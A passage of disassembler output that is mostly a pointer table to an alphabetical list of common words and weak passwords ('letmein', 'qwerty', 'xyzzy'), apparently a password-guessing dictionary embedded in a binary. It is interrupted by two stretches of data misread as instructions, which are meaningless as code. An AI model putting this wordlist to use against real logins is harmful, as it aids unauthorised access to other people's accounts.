		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
; ---------------------------------------------------------------------------
		mov	word ptr [edx-657BFFBEh], ds
		inc	edx
		add	[edx+ebx*4+42h], bh
		add	[eax-66h], dh
		inc	edx
		add	[eax-66h], ch
		inc	edx
		add	[eax-66h], ah
		inc	edx
		add	[eax-66h], bl
		inc	edx
		add	[edx+ebx*4+42h], cl
		add	[eax-66h], al
		inc	edx
		add	[edx+ebx*4], dh
		inc	edx
		add	[edx+ebx*4], ch
		inc	edx
		add	[edx+ebx*4], ah
		inc	edx
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
; ---------------------------------------------------------------------------
		or	[ecx-66FFFFBEh], bl
		inc	edx
		add	al, bh
		cwde
		inc	edx
		add	al, dh
		cwde
		inc	edx
		add	al, ch
		cwde
		inc	edx
		add	al, ah
		cwde
		inc	edx
		add	al, bl
		cwde
		inc	edx
		add	al, dl
		cwde
		inc	edx
		add	al, cl
		cwde
		inc	edx
		add	[eax+ebx*4-674BFFBEh], bh
		inc	edx
		add	[eax+ebx*4-675BFFBEh], ch
		inc	edx
		add	[eax+ebx*4-676FFFBEh], bl
		inc	edx
		add	[eax-1BFFBD68h], cl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
